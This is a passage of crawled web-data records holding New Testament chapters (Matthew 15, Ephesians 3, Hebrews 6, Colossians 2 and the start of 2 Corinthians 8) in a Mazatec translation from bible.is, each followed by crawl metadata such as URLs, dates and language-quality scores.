ti̱si̱ko̱‑ná. 26Jesús kitsó‑la̱: ―Mì kì nda tjín nga chjí'an‑la jñà ni̱ño̱‑la̱ i̱xti ko̱ a̱kjòn jñà nañá 'ki̱‑la. 27Tanga jè chjo̱ón kitsó‑ní: ―Kixi̱í kjoa̱ Na̱'ìn, tanga jñà ndí nañá kjine‑ní xi̱‑la̱ tsajmì ra xaájten‑ngí ya̱ ímixa̱‑la̱ ni‑la̱. 28Jesús 'kia̱á kitsò‑la̱: ―Ji̱ chjo̱ón, 'ñó nda makjiín‑li ra a̱'ta tsa̱'a̱n. Ko̱'sín katama koni 'sín mejèn‑li. Ti̱jé‑ni hora nga kjonda‑ni jè tsati‑la̱ chjo̱ón. 29Jesús itjokàjiín ya̱ i̱'nde ra̱kìi̱; a̱kjòn ya̱á kijì ya̱ a̱ndi ndáchikon ra 'mì Galilea. Kijìmijno jngo nindo, ko̱ ya̱á tsikijna. 30'Ñó kjìn xi̱ta̱ ijchòtji̱ngi‑la̱ ya̱ ñánda̱ nga ya̱ tíjna, nga ijchòko̱‑la̱ xi̱ta̱ ra i̱ma̱ kjòn, ra tsá'yá, ra xi̱ta̱ xka̱, ra chji̱ló tsja kjòn, ra mì kì ma chja̱, ko̱ xi̱ta̱ ra kj'ií 'chin tjín‑isa‑la̱. Ya̱á isíkítsa̱jna ya̱ a̱ngi ndsa̱ko̱ Jesús. Nga'tsì xi̱ta̱ kìi̱, jè Jesús, isinda ijyeé‑ni. 31Ta kjóxkón‑la̱ xi̱ta̱ 'kia̱ nga kijtse nga maá kiìchja̱‑ni jñà xi̱ta̱ ra mì kì ma chja̱ tsiki‑ni, ko̱ nga kjonda‑ni jñà ra chji̱ló tsja kjòn, ko̱ nga ma tsinchima‑ni jñà xi̱ta̱ ra tsá'yá, ko̱ jñà xi̱ta̱ xka̱ maá tsatsíjen‑ila̱. Jeyaá isíkíjna jè Nainá ra bexkón na̱xi̱ndá Israel. 32Jesús kiìchja̱á‑la̱ xi̱ta̱ ra koté'yá'ta‑la̱, kitsò‑la̱: ―Mahi̱ma̱á‑na jñà xi̱ta̱ kìi̱. Ijyeé kjo jàn ni̱chjin tjín‑nì nga i̱ títsa̱jnako̱‑na, ko̱ ni̱mé tjín‑la̱ ra kjine. Majìn‑na nga tà ko̱'sín skanichjan‑na ya̱ ni'ya‑la̱, tsa mejèn ya̱ ko̱hindàyá ya̱ a̱ya ndi̱yáa̱. 33Jñà xi̱ta̱ ra koté'yá'ta‑la̱ Jesús kitsó‑ní: ―¿Ñánda̱ sa̱kó‑ná tsajmì ra ma si̱kjén xi̱ta̱ ra 'ñó kjìn ma‑ni ya̱ i̱'nde a̱'ta xìn ñánda̱ nga nangi kixì? 34Jesús iskonangií‑la̱: ―¿Kótjín ma‑ni ni̱ño̱ nchra̱jín ra tjíhijyo‑no? Jñà xi̱ta̱‑la̱ kitsó‑ní: ―Ta itoó ma‑ni, ko̱ jngo‑jò ma 'sa̱‑ni ndí ti̱ i̱tsíñá. 35'Kia̱á kitsjà kjo̱hixi̱ nga katitsa̱jna jñà xi̱ta̱. 36Iskábé jñà ni̱ño̱ nchra̱jín ra ito ma‑ni ko̱ jñà ndí ti̱ i̱tsíñá ra jngo‑jò ma‑nì, kitsjá‑la̱ kjo̱nda Nainá, a̱kjòn isìjòya jñà ni̱ño̱ nchra̱jín ko̱ a̱kjòn kitsjà‑la̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱ mé‑ni nga isìka'bí‑la̱ jñà xi̱ta̱ ra kjìn ma‑nioo̱. 37Ndaá tsakjèn ijye nga'tsì jñà xi̱ta̱ skanda nga kjoski; 'kia̱ nga tsikíxkó‑ni jñà ra tsijnengi‑ni, ngi ito ndi̱si̱yá kjomà. 38Jñà xi̱ta̱ ra tsakjèn, ijòn jmi ma‑ni jñà ra ta xi̱ta̱ 'xi̱n, ko̱ mì tsa kinda̱ kjomà jñà íchjín ko̱ jñà i̱xti. 39Jesús 'kia̱ nga ijye isíkjáya‑la̱ jñà xi̱ta̱ nga kijì‑ni, 'jaha'seén ya̱ chitso ko̱ ya̱á kijì ya̱ i̱'nde ra 'mì Magdala.\nSan Mateo 15","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Matt\/15","date":"2013-12-07T08:05:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163053865\/warc\/CC-MAIN-20131204131733-00042-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000091791152954}","num_words":929,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.367,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Koa̱á ma‑ni, [tíbitsá'ba‑la̱ Nainá] 'a̱n ra 'mì‑na Pablo, ra nda̱yá tíjna̱'ya ta nga̱tjì‑la̱ Cristo nga 'a̱n kisìkasén‑na nga kichjàya‑no 'én nda‑la̱, jiòn ra mì tsa xi̱ta̱ judío 'mì‑no. 2Nga̱ ijyeé‑la tjíjin‑najiòn kó'sín tjín kjo̱nda ra kitsjà kjo̱tjò‑na Nainá nga 'a̱n kisìnga̱tsja‑na xá ra kìi̱ ra kjo̱nda tsa̱jiòn. 3Nga jè Nainá tsakón tsijen‑na jè kjoa̱ ra tjí'ma‑la̱ tsiki, koni 'sín nga ítsi'kena̱jmí chiba‑no 'kia̱ nga a̱sa ítsikindá‑no xa̱jo̱n. 4'Kia̱ nga chjítá'yá jiòn jè xa̱jo̱n ra ítsikindá‑no, ya̱á ko̱chi̱ya‑no nga ijyeé nda fìya‑naa̱ kjoa̱'ma‑la̱ Nainá ra jè Cristo tsakón tsijen. 5Skanda kjotseé jè kjoa̱'ma ra̱kìi̱, mì kì yá ra kijtse; tanga 'ndi̱ 'ndi̱ jè Inìma̱ Tsje‑la̱ Nainá ijyeé tsakón‑la̱ jñà xi̱ta̱ ra xá jahíjin‑ni nga tsikíxáya‑la̱ Jesucristo ko̱ nga kiìchja̱ ngajo‑la̱. 6Jè kjoa̱'ma ra̱kìi̱, ki̱í'sín tjín: jñà ra mì tsa xi̱ta̱ judío, 'kia̱ nga makjiín‑la̱ 'én xi̱tse̱ ra nda tsò a̱'ta 'tse̱ Cristo, ti̱'koa̱á ngásón tjábé‑te‑la̱ jè kjo̱tjò ra tjábé‑la̱ xi̱ta̱ judío nga ngásón i̱xti‑la̱ Nainá ma; nga ta̱ jngoó ijo ka̱ma‑ni jñà xi̱ta̱ kìi̱; ko̱ ti̱'koa̱á ngásón tjábé‑te‑la̱ kjo̱nda koni 'sín nga ijye kitsjà tsa'ba Nainá ra a̱'ta 'tse̱ xi̱ta̱ judío. 7Nga̱ ta kjo̱nda 'tse̱ Nainá‑ní nga ko̱'sín chi̱'nda‑la̱ kitsò‑na nga 'a̱n 'kenájmíya 'én nda‑la̱; ko̱ jè xá ra̱kìi̱, 'kia̱á itjábé kjo̱tjò‑na, 'kia̱ nga 'ji kánè‑na jè nga'ñó‑la̱ Nainá. 8'A̱n, ni̱'sín isa̱ ta nangi tíjna̱ koni jñà xi̱ta̱ tsje‑la̱ Nainá ra i'ka; tanga 'a̱án ki'tsì‑na jè kjo̱nda ra̱kìi̱ nga 'a̱n 'kenájmíya‑la̱ 'én nda‑la̱ Nainá nga'tsì jñà ra mì tsa xi̱ta̱ judío, nga kó'ki tse kjo̱nda tjín ra a̱'ta 'tse̱ Cristo, ra skanda mí bijchótji̱ngi‑la̱ kjo̱bítsjen‑ná. 9Ti̱'koa̱á kitsjá xá‑te‑na nga 'a̱n kokon tsijen‑la̱ nga'tsì xi̱ta̱ kó'sín tjín jè kjoa̱'ma‑la̱. Nga̱ jè Nainá ra tsikínda nga'tsì tsajmì ra tjín, jè tsikí'ma kjoa̱ kìi̱ skanda 'kia̱ nga ti̱'sa̱‑ni. 10Kií ko̱'sín kjamà‑ni mé‑ni nga a̱'ta 'tse̱ na̱xi̱ndá‑la̱ Cristo katabe‑ni nga'tsì nga'ñó ra tjín a̱'ta nangi ko̱ ra tjín ya̱ a̱jin i̱sén i'ngaá, kó'sín nga kjín sko̱ya tjín‑ni kó'sín nga bakón kjoa̱chji̱ne̱‑la̱ Nainá, 11koni 'sín nga ta̱'koa̱ ijye tjínda‑la̱ skanda nga ti̱'sa̱‑ni tjà'tsin‑la̱ kjoa̱ nga ya̱ ki̱tjasòn a̱'ta 'tse̱ Cristo ra tíjna ítjòn‑ná. 12'Ndi̱‑ni̱ nga ya̱ titsa̱jnake̱é Cristo, tjí'nde‑ná nga ma jchi̱ko̱na̱jmié Nainá; ko̱ mì kì tsa ki̱skén, nga̱ ijyeé tíjngo takén koni 'sín nga makjiín‑ná ra a̱'ta 'tse̱. 13'Koa̱á ma‑ni nga ko̱'sín síjé‑najiòn nga kì tà chjàn nihinda‑la takòn a̱'ta 'tse̱ kjo̱hi'in ra tísikjiáa̱n ra ta kjo̱nda tsa̱jiòn‑jiòn. Nga̱ jñà kjoa̱ ra 'a̱n tíbatojiàa̱n, jiòn nda ki̱tsa̱jna‑najiòn. 14Ta nga̱tjì‑la̱ nga'tsì kjoa̱ kìi̱ tíbasen‑ná xkó‑na̱ ya̱ ngixko̱n Nainá ra Na̱'ín‑ná, nga tíbitsá'ba‑la̱. 15Nga̱ a̱'ta 'tse̱é nchrabá‑ni nga tjín ra na̱'ìn ko̱ tjín ra i̱xti, koni jñà ra tjíhijyo ján ngajmi ko̱ ra tjíhijyo i̱ a̱'ta nangi. 16Kií ko̱'sín tísíjé'ta‑la̱ jè Nainá, mé‑ni nga ko̱ó Inìma̱ Tsje‑la̱ katatsjá‑la̱ nga'ñó jè inìma̱‑no koni 'sín tjín jè kjoa̱nda‑la̱ ra bato 'ñó jeya tíjna, 17ko̱ jè Cristo ya̱ katijnajin ya̱ inìma̱‑najiòn ta nga̱tjì‑la̱ nga makjiín‑no ra a̱'ta 'tse̱; ko̱ jè kjo̱tsjacha ra tjín‑no, 'ñó na̱nga̱ katafì koni kja̱ma̱‑la̱ yá ko̱ koni tsa jngo tjà'tsin chrjó ni'ya. 18'Koa̱á 'sín ko̱ma‑ni nga nda ko̱chi̱ya‑no ko̱ nga'tsì xi̱ta̱‑la̱ Nainá kó'ki tse tjín‑ni kjo̱tsjacha ra tjín‑la̱ Cristo, kó'ki teyá, kó'ki ndajò, kó'ki na̱nga̱, ko̱ kó'ki 'nga; 19ko̱ katamachi̱ya‑no jè kjoa̱tsjacha ra tjín‑la̱ Cristo jè ra batonè tsje‑la̱ nga'tsì kjo̱bítsjen ra tjín mé‑ni nga ni̱mé ra jchi̱ja'ta‑no koni 'sín nga jè Nainá, ni̱mé ra jchi̱ja'ta‑la̱. 20Nainá tjín‑la̱ nga'ñó nga ma 'si̱in kjoa̱ ra isa̱ ta 'ñó chjá tjín koni jñà ra níjé‑lá ko̱ koni jñà ra jién níkítsjeén. Jé nga'ñó‑la̱ ra síxá ya̱ a̱jin inìma̱‑ná ra ko̱'sín 'sín. 21¡Jeya katijna Nainá ya̱ a̱jin na̱xi̱ndá‑la̱ ko̱ a̱'ta 'tse̱ Cristo! 'Koa̱á 'sín katama skanda ta mé ni̱chjin‑nioo̱ ko̱ skanda ta mé nó‑ni.\nEfesios 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Eph\/3","date":"2013-12-05T03:55:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163039753\/warc\/CC-MAIN-20131204131719-00024-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.000009298324585}","num_words":596,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.346,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Machjeén‑ní nga nda katamajchá kjo̱bítsjen‑ná a̱'ta 'tse̱ Cristo nga mì tsa ta jñá chjítá'yáko̱ ki'té jñà 'én ra ichitá'yé nga 'sa̱ ítjòn; nga mì tsa ta jñá si̱kítsjen‑yá kji'té jñà kjoa̱ ra ma'tsia̱‑ni nga basìko̱'ta‑ná, koni jñà kjoa̱, nga iníkájneé kjoa̱ ra 'tse̱ jé‑ná nga mì ti̱ jé tsakátsji‑né jè ra ndi̱yá kjo̱biya fìko̱‑ná tsiki; ti̱'koa̱á mì tsa ta jè chjítá'yáko̱ ki'té jè kjoa̱ 'tse̱ koni 'sín nga kjokjiín‑ná a̱'ta 'tse̱ Nainá, 2ko̱ a̱'ta 'tse̱ kjo̱téxoma ra 'tse̱ kjoa̱ satíndá, ko̱ 'kia̱ nga fasón‑lá ndse̱é xàngie̱é, ko̱ kjoa̱ ra faháya‑ila̱ mi'ken, ko̱ kjoa̱ 'tse̱ 'kia̱ nga ki̱ìndajín‑ná Nainá mé ra ko̱ko‑ná skanda ta mé ni̱chjin‑ni. 3'Koa̱á 'sín ma chjítá'yé 'én‑la̱ Nainá ra si̱ìjchá kjo̱bítsjen‑ná, tsa jè tsjá'nde nga ko̱'sín ko̱ma. 4Nga̱ jñà xi̱ta̱ ra ijye a̱sa kjohisen‑la̱ kjo̱bítsjen‑la̱ ko̱ ra ijye a̱sa tsikitsa̱jin kjo̱nda ra 'tse̱ Nainá ko̱ ra ta̱ña isíngásòn‑ko̱‑ná a̱'ta 'tse̱ Inìma̱ Tsje‑la̱ Nainá, 5jñà ra ti̱'koa̱á ijye a̱sa tsikitsa̱jin jè 'én nda‑la̱ Nainá ko̱ nga'ñó‑la̱ ra 'tse̱ i̱sà'nde ra 'sa̱ nchrabá, 6tsa xìn ndi̱yá ki̱ji̱ nga tsjín 'én‑la̱ Nainá, mì kì ti̱ ko̱nda‑ni jñà kjo̱bítsjen‑la̱ nga koa̱áfa'ta india‑ila̱ Nainá, nga̱ 'koa̱á ngoya‑la̱ koni tsa ti̱jñà inchibá'ta india‑ni krò jè Cristo, ko̱ ko̱se̱n masen nga si̱ìsabà'tin. 7'Koa̱á ngoya‑la̱ koni jè nangi 'kia̱ nga 'ba jtsí, ma'nchi̱'nde‑ní. Tsa nda xka̱ ra ki̱so̱ ra ko̱chjeén‑la̱ xi̱ta̱ ra síxáko̱ nangi, Nainá si̱ichikon'tin nangi. 8Tanga tsa na'yá chi̱'ni̱ ko̱ tsa na'yá xi'nchro ki̱so̱, mì kì mé chjí‑la̱ jè nangi ra̱kìi̱, mì tsa nangi nda ya̱ ngixko̱n Nainá; ki̱jchó ni̱chjin nga jti̱. 9Jiòn ndí 'ndsè ra tsjacha‑laji̱n, ni̱'sín ko̱'sín nakjoá‑ji̱n, 'koa̱á 'sín kixi̱ machi̱ya‑naji̱n nga isa̱á ta nda ko̱ma'tin‑isa jiòn nga tjábé‑no jè kjo̱nda ra tji̱ko̱ 'kia̱ nga ko̱'sín bítjo̱kajieén kjo̱hi'in. 10Nga̱ Nainá, ngi kjoa̱kixi̱í ra 'sín, nga mì kì si̱ìjchàhajin jè xá‑no ko̱ jè kjo̱tsjacha ra tjín‑no nga nda i̱nchinìsin‑la jñà xi̱ta̱ na̱xi̱ndá‑la̱ Cristo koni 'sín takó i̱nchi'nià skanda 'ndi̱. 11Tanga ngaji̱n, 'koa̱á 'sín mejèn‑naji̱n nga ngi ko̱ó kjo̱tsja‑no ko̱'sín ti̱xá nga jngó jngó‑no skanda ta kjiá‑nioo̱, kóhonda katabitjasòn kjoa̱ ra i̱nchichiñá‑la. 12Majìn‑naji̱n nga katama'tsè jiòn. Ta isa̱á jnchro jñà chjíngi‑la jñà xi̱ta̱ ra ijye i̱nchitjábé‑la̱ kjo̱tjò koni 'sín ijye kitsjà tsa'ba Nainá ta nga̱tjì‑la̱ nga nda makjiín‑la̱ ko̱ nda i̱nchichíkjoa̱ko̱‑la̱. 13Nainá, 'kia̱ nga kitsjà‑la̱ tsa'ba jè Abraham, 'koa̱á 'sín kitsjà kixi̱ 'én‑la̱ ra ti̱jè tsasén‑ni 'kia̱ nga mì ti̱ yá tjín‑ni ra isa̱ 'nga tíjna koni ra jè; 'koa̱á 'sín kiìchja̱ 14nga kitsò: \"'A̱n, 'ñó nda sichíkon'tin‑la̱, ti̱'koa̱á 'ñó kjìn ko̱ma jñà tje̱‑li.\" 15'Koa̱á 'sín kjomà‑ni nga jè Abraham iskoñákjoa̱‑ní, a̱kjòn itjábé‑la̱ koni 'sín kitsò‑la̱ jè Nainá. 16Jñà xi̱ta̱ i̱sà'nde, 'kia̱ nga tsjá tsa'ba, jè síkaxki̱ jè ra tíjna ítjòn‑la̱. 'Kia̱ nga ko̱'sín tsjá 'én‑la̱, ta ya̱á fehe'ta kjoa̱, mì ti̱ mé ra jo̱óya-isa‑ni. 17'Koa̱á 'sín kjomejèn‑la̱ Nainá nga nda kjón tsakón‑la̱ jñà xi̱ta̱ ra tjábé‑la̱ kjo̱tjò koni 'sín ijye kitsjà‑la̱ tsa'ba nga 'koa̱á 'sín tjíjngo ikon nga si̱hitjasòn ko̱ nga ni̱mé ra si̱ìkaatjìya‑la̱. Kií ko̱'sín kitsjà‑ni 'én‑la̱ ra 'ñó xkón tjín 'kia̱ nga ko̱'sín kitsjà tsa'ba. 18Jñá 'én kìi̱ ra jò ma‑ni, ra mì kì ma kjoa̱atjìya‑la̱, ko̱ mì kì ma sko̱ónda̱cha̱‑ná Nainá, ya̱á sakó‑ná jngo kjoa̱jetakòn ra 'ñó tjín, nga'tsí‑né ra i̱nchifatsjieé nga jè Nainá ko̱si̱ko̱‑ná ko̱ jién ra ko̱'sín tjíjngo takén nga i̱nchichiñá‑lá koni 'sín nga ijye kitsjà tsa'ba nga tsjá‑ná. 19Jè kjoa̱kixi̱ ra i̱nchichiñá‑lá, 'koa̱á 'sín síkíjna kixi̱ inìma̱‑ná koni jngo ki̱cha̱ ra sité'ñó‑ni chitso; ko̱ kjoa̱kixi̱ ra̱kìi̱ skanda maá 'jaha'sen‑jin ya̱ i̱'nde tsje ñánda̱ tja̱'bájto jngo nikje, 20ya̱ ñánda̱ 'jaha'sen Jesús nga iskí'xa̱'nde‑ná ndi̱yá nga na̱'mì ítjòn tsikijna nda ta mé ni̱chjin‑nioo̱ koni jè Melquisedec.\nHebreos 6","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Heb\/6","date":"2013-12-08T11:56:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163065342\/warc\/CC-MAIN-20131204131745-00023-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.0000089406967163}","num_words":580,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.329,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Mejèn‑na nga ndaà kàtasijiìn‑nò, nga 'ñó tìkjaàn‑tji‑nò i̱t'aà tsa̱jòn ko̱ jñà xi̱ta̱‑la̱ Cristo xi títsa̱jna ján na̱xa̱ndá Laodicea, ko̱ i̱t'aà ts'e̱ ngats'iì xi̱ta̱ xi kj'eè kiì beèxkon‑na. 2Koií k'oa̱s'ín tìkjaàn‑tji‑nò mé‑ne nga kàtas'e‑la̱ nga'ñó ini̱ma̱‑nò ko̱ mé‑ne nga jè kjo̱tsjacha xi tjín‑nò si̱ìkítsa̱jnajtín‑nò. Jè xi mejèn‑na nga ìsa̱ ndaà ko̱kixi̱ kjo̱hítsjeèn‑nò nga nguì ndaà ko̱chi̱ya‑nò jè kjoa̱ xi tjí'ma‑la̱ Nainá xi Na̱'èn‑ná. Jè kjoa̱'ma jè, jè‑né Cristo. 3Nga ta jè Cristo tjín‑la̱ ngats'iì kjo̱hítsjeèn ko̱ kjoa̱chji̱ne̱ xi 'ñó chjí‑la̱. 4Koií k'oa̱s'ín tìxan‑nò nga mì yá xi skóna̱cha̱n‑nò nga si̱ìkjeén 'én xi ndaà tsò ta̱nga mìtsà 'én kixi̱. 5Na̱s'ín mìtsà ya̱ tìjna̱ko̱‑nò, ta̱nga ini̱ma̱‑na̱ tìsìkítsjeèn kjit'aà‑nò. Matsjaá‑na nga tì'be nga kixi̱ titsa̱jtión koni s'ín onguíko̱o yijo‑nò ti̱koa̱ kixi̱ titsa̱jnaà nga mokjeiín‑nò i̱t'aà ts'e̱ Cristo. 6Koni s'ín kòkjeiín‑nò i̱t'aà ts'e̱ Jesucristo xi otíxoma‑nò, k'oa̱á ti̱s'ín kixi̱ ti̱tját'aà kjit'aà‑là 7koni jngoò yá xi na̱nga̱ fì i̱ma̱‑la̱ ko̱ koni jngoò ni'ya xi tísindaàsòn‑ìsa nga kàtakixi̱ya jè kjoa̱ xi mokjeiín‑nò koni s'ín kichìta'yà; ko̱ tjiì kjit'aà‑là kjo̱ndaà Nainá. 8Ti̱kinda̱a yijo‑nò nga mì jñà skóna̱cha̱n‑nò xi̱ta̱ xi 'én ndiso chja̱ xi ni̱ mé chjí‑la̱. Jñà kjo̱hítsjeèn koi, tà ya̱á nchrobá‑ne i̱t'aà ts'e̱ xi ta̱xki̱ xi̱ta̱ koni tsò kjo̱tíxoma xi tjín i̱sò'nde, mìtsà kjo̱tíxoma ts'e̱ Cristo. 9Ya̱á tíjnajiìn yijo‑la̱ Cristo yá‑ne xi nguì jè sobà Nainá nga ni̱mé chijat'aà‑la̱. 10Nga Cristo titsa̱jnako̱o, tjín yije‑nò ni̱ta̱ mé xi mochjeén‑nò. Jè Cristo otíxoma‑la̱ ngats'iì nga'ñó ko̱ kjo̱tíxoma xi mìkiì tsejèn. 11Ti̱koa̱á i̱t'aà ts'e̱ Cristo kisit'aà chi̱ba̱‑nò kjoa̱ ts'e̱ circuncisión, ta̱nga mìtsà jè xi tsja xi̱ta̱ bít'aà chi̱ba̱‑la̱ yijo‑ná, jè‑né nga jè Cristo tsibít'aà chi̱ba̱‑la̱ ini̱ma̱‑nò k'e̱ nga jaàxìn jé xi tjín‑la̱ yijo jé‑nò. 12Ti̱koa̱ k'e̱ nga komà bautizar, k'oa̱á ngaya‑la̱ koni tsà ya̱ kisìhijiìn‑t'aà‑là Cristo xi kjoa̱ ts'e̱ jé‑nò. K'oa̱á ti̱s'ín jaáya‑nò koni s'ín jaáya‑la̱ Cristo koií kjoa̱‑la̱ nga mokjeiín‑nò nga'ñó xi tjín‑la̱ Nainá nga komà kiskímiìtje̱n Cristo i̱t'aà ts'e̱ kjoa̱ biyaà. 13Jñò, nga sa̱ ítjòn, titsa̱jnaà k'en‑nò i̱t'aà ts'e̱ Nainá koi kjoa̱‑la̱ jé‑nò nga jè Cristo kj'eè kiì bít'aà chi̱ba̱‑la̱ ini̱ma̱‑nò nga faáxìn jé xi tjín‑la̱ yijo jé‑nò. Ta̱nga i̱'ndei̱, Nainá jyeé kisìkítsa̱jnakon‑nò ko̱ Cristo nga kisìjchàat'aà‑nò ngats'iì jé‑nò. 14K'oa̱á ngaya‑la̱ koni tsà jye kisìkjeheya‑ne xo̱jo̱n xi kitjámiì'nga xi kondra̱ tsa̱ján. Jaàxìn‑ne, ya̱á tsohójnat'aà krò ñánda k'en‑t'aà Cristo. 15Jñà nga'ñó xi tjín i̱jiìn i̱sén ko̱ ngats'iì xi otíxoma, Nainá jaàxìn yije‑la̱ nga'ñó‑la̱. Ya̱á kisìkijne‑la̱ k'e̱ nga jè Cristo k'en‑t'aà krò. Ko̱ ngats'iì xi̱ta̱, ya̱á kijtseè nga kisìchja. 16K'oa̱á ma‑ne jñò, kì kiì nìs'in‑là xi̱ta̱ xi chja̱jno‑nò nga tsò‑nò nga mìkiì nìkitasòn kjoa̱ ts'e̱ tsojmì xi chine, xi 'yò, kjoa̱ ts'e̱ s'eí xi bitjo, kjoa̱ ts'e̱ nga otsejèn xi̱tse̱ ìjngoò k'a sá, ko̱ ts'e̱ na̱chrjein nìkjáya. 17Ngats'iì kjoa̱ koi, k'oa̱á ngaya‑la̱ koni tà 'nguién‑la̱á kjoa̱ xi i̱skan j'iì; ta̱nga jè xi nguì kjoa̱ kixi̱, jè Cristo. 18Kì kiì biì'nde nga faáxìn‑nò jè kjo̱ndaà xi jye titsa̱jnajñoò jñà xi̱ta̱ xi beèxkón àkja̱le̱; k'oa̱á tsò‑la̱ yijo‑la̱ nga mìtsà xi̱ta̱ 'nga ikon. Jè xi mejèn‑la̱ nga jñò k'oa̱ ti̱s'ín s'e̱en. Jñà xi̱ta̱ koi tsò‑né nga i̱nga nijñá kis'eno̱jmí‑la̱ kjoa̱ jè, ko̱ 'ñó 'nga síkítsa̱jna yijo‑la̱ xi ta kjo̱hítsjeèn ts'e̱, ta̱nga ni̱mé chjí‑la̱. 19Xi̱ta̱ koi mìtsà ya̱ ndaà fìt'aà‑la̱ Cristo. Nga jè Cristo tíjna sko̱‑la̱ na̱xa̱ndá‑la̱ ko̱ jè tsjá‑la̱ kjo̱hítsjeèn ko̱ nga'ñó ko̱ jè síkítsa̱jnajtín xi̱ta̱‑la̱ koni s'ín ma yijo‑ná nga jñà naxá‑ná bítéya nindaà‑ná, mé‑ne nga ndaà si̱ìxá‑ne na̱xa̱ndá‑la̱ Cristo koni s'ín mejèn‑la̱ Nainá. 20Jñò, ta̱ñaá k'en‑ko̱o Cristo, k'oa̱á ma‑ne nga mìkiì ti̱ tjí'nde‑nò nga jñà si̱kitasòn kjo̱tíxoma xi tjín i̱sò'nde. ¿Mé‑ne tákó k'oa̱s'ín 'nè‑nò koni tsà kjoa̱ ts'e̱ i̱sò'nde otíxoma‑nò nga nìkitasòn‑nò kjo̱tíxoma 21xi tsò: \"Kì kiì nìkoi̱i tsojmì koi, kì kiì chiniì, kì ndsei̱i nìko̱‑ne.\"? 22Jñà kjo̱tíxoma koi, tà ts'e̱é tsojmì xi chija k'e̱ nga tímochjeén. Tà kjo̱tíxoma ts'e̱ xi̱ta̱‑né koni s'ín okóya. 23Jñà kjo̱tíxoma koi, k'oa̱á s'ín 'ya‑la̱ koni tsà tjín‑la̱ kjoa̱chji̱ne̱ ta̱nga mìtsà kixi̱ kjoa̱. Nga̱ síjé‑ná nga ndaà si̱kitasoán kjoa̱ xi 'in tjín mé‑ne nga ndaà jcha̱xkoán kjo̱tíxoma xi tjín‑la̱ i̱ngo̱; ti̱koa̱á tsò‑né nga mochjeén nga mì xi̱ta̱ 'nga ikon ko̱maá, ko̱ nga kínè‑lá kjo̱'in yijo‑ná. Ta̱nga jñà kjoa̱ koi ni̱mé chjí‑la̱, nga mìkiì ma osìko̱‑ná nga nìkítsa̱jnaá jñà kjoa̱ ch'o xi síjé yijo‑ná.\nColosenses 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Col\/2","date":"2013-12-10T18:15:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164023039\/warc\/CC-MAIN-20131204133343-00065-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.0000094175338745}","num_words":668,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.31,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jiòn 'ndsé ko̱ tichjeé, mején‑te‑naji̱n 'kéna̱jmí‑laji̱n kjo̱nda ra jè Nainá títsjá‑la̱ na̱xi̱ndá‑la̱ Cristo ra títsa̱jna ya̱ nangi Macedonia. 2Ni̱'sín takó 'ñó i'in tjín kjoa̱ ra i̱nchibatojin, 'ñó tjín‑la̱ kjo̱tsja inìma̱‑la̱. Ko̱ ni̱'sín 'ñó ndí xi̱ta̱ i̱ma̱, isa̱á ta 'ñó tse i̱nchitsjá kjo̱tjò ra jè Nainá i̱nchisínga̱tsja, 'koa̱á jngoya‑la̱ koni tsa xi̱ta̱ nchi̱ná. 3'A̱n kjón kíjtsee̱ nga ngi ko̱ó kjo̱tsja‑la̱ kitsjà koni 'ki kjomà ra ki'sìn, ko̱ skanda isa̱á tse kitsjà‑isa koni 'ki nga ijchòtji̱ngi nga'ñó‑la̱. 4'Ñó tsikítsa'ba‑naji̱n nga kitsò‑naji̱n: \"Ti̱'nde‑náji̱n nga ko̱ma 'ki̱ chiba‑te‑ji̱n kjo̱tjò ra ki̱ji̱‑la̱ jñà xi̱ta̱ tsje‑la̱ Nainá ra tíchija'ta‑la̱.\" 5Isa̱á kjìn kjoa̱ ki'sìn‑isa koni 'sín nga i̱nchichiñá‑la̱ji̱n. Ítjòn nangi isíkítsa̱jna inìma̱‑la̱ ra a̱'ta 'tse̱ Nainá, ko̱ a̱kjòn, 'kia̱á ko̱'sín ki'sìn‑te ra a̱'ta tsa̱ji̱n koni 'sín nga mejèn‑la̱ Nainá. 6'Koa̱á ma‑ni nga ko̱'sín tsikitsa'ba‑la̱ji̱n jè Tito, nga takó jè katabíxkójin jñà kjo̱tjò ra nchrabájin inìma̱‑no koni jngo kjo̱nda ra si̱nga̱tsja jiòn Nainá. Ko̱'sín katasíkjehe'ta xá ra ki'tsì‑la̱ nga ti̱'sa̱ ítjòn. 7Koni 'sín nga 'ñó nda 'nià jiòn nga'tsì kjo̱nda: nga nda makjiín‑najiòn 